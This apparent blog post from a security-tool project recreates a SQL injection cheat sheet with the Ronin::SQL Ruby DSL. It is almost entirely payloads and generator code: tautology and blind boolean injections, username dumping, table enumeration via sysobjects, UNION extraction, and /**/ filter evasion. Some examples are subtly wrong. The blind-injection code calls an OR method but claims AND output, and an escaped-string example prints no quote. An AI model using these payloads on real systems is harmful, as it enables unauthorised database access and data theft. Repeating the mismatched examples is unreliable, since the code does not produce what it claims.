After the release of ronin-sql 1.0.0, I wondered if we could recreate
RSnake’s SQL Injection Cheat Sheet using the new Ronin::SQL
Domain Specific Language (DSL). Let’s see how far we can get.
Normal SQL Injection:
1 OR 1 = 1
sqli = Ronin :: SQL :: Injection . new
sqli . or { 1 == 1 }
puts sqli
# => 1 OR 1=1
Normal SQL Injection using encapsulated data:
1 ' OR ' 1 '=' 1
sqli = Ronin :: SQL :: Injection . new ( escape: :string )
sqli . or { string ( 1 ) == string ( 1 ) }
puts sqli
# 1' OR '1'='1
Blind SQL Injection:
1 AND 1 = 1
sqli = Ronin :: SQL :: Injection . new
sqli . or { 1 == 1 }
puts sqli
# 1 AND 1=1
Blind SQL Injection to attempt to locate tablename
by brute-force
iteration through table name permutations:
1 ' AND 1=(SELECT COUNT(*) FROM tablenames); --
sqli = Ronin :: SQL :: Injection . new ( escape: :string )
sqli . and { select ( count ). from ( :tablenames ) == 1 }
puts sqli
# 1 AND (SELECT COUNT(*) FROM tablenames)=1
Creating errors by calling non-existent tables:
1 ' AND non_existant_table = ' 1
sqli = Ronin :: SQL :: Injection . new ( escape: :string )
sqli . and { non_existant_table == '1' }
puts sqli
# 1' AND non_existant_table='1
Dumping usernames:
' OR username IS NOT NULL OR username = '
sqli = Ronin :: SQL :: Injection . new ( escape: :string )
sqli . or { username . is_not ( null ) }. or { username == '' }
puts sqli
# 1' OR username IS NOT NULL OR username='
Enumerating through database table names:
1 AND ASCII ( LOWER ( SUBSTRING (( SELECT TOP 1 name FROM sysobjects WHERE xtype = 'U' ), 1 , 1 ))) > 116
sqli = Ronin :: SQL :: Injection . new
sqli . and {
ascii (
lower (
substring (
select ( :name ). top ( 1 ). from ( sysobjects ). where { xtype == 'U' }, 1 , 1
)
)
) > 116
}
puts sqli
# 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype='U'),1,1)))>116
Finding user supplied tables using the sysObjects
table in SQL Server:
1 UNION ALL SELECT 1 , 2 , 3 , 4 , 5 , 6 , name FROM sysObjects WHERE xtype = 'U' --
sqli = Ronin :: SQL :: Injection . new
sqli . union_all {
select ( 1 , 2 , 3 , 4 , 5 , 6 , name ). from ( sysObjects ). where { xtype == 'U' }
}
puts sqli . to_sql ( :terminate => true )
# 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype='U');--
Bypass filters by using /**/
instead of spaces:
1 /**/ UNION /**/ SELECT /**/ ( 1 , 2 , 3 , 4 , id ) /**/ FROM /**/ users
sqli = Ronin :: SQL :: Injection . new
sqli . union { select ( 1 , 2 , 3 , 4 , id ). from ( users ) }
puts sqli . to_sql ( :space => '/**/' )
# 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users
Not too shabby!
If Ronin interests you or you like the work we do, consider donating to Ronin
on
GitHub ,
Patreon , or
Open Collective
so we can continue building high-quality free and Open Source security tools
and Ruby libraries.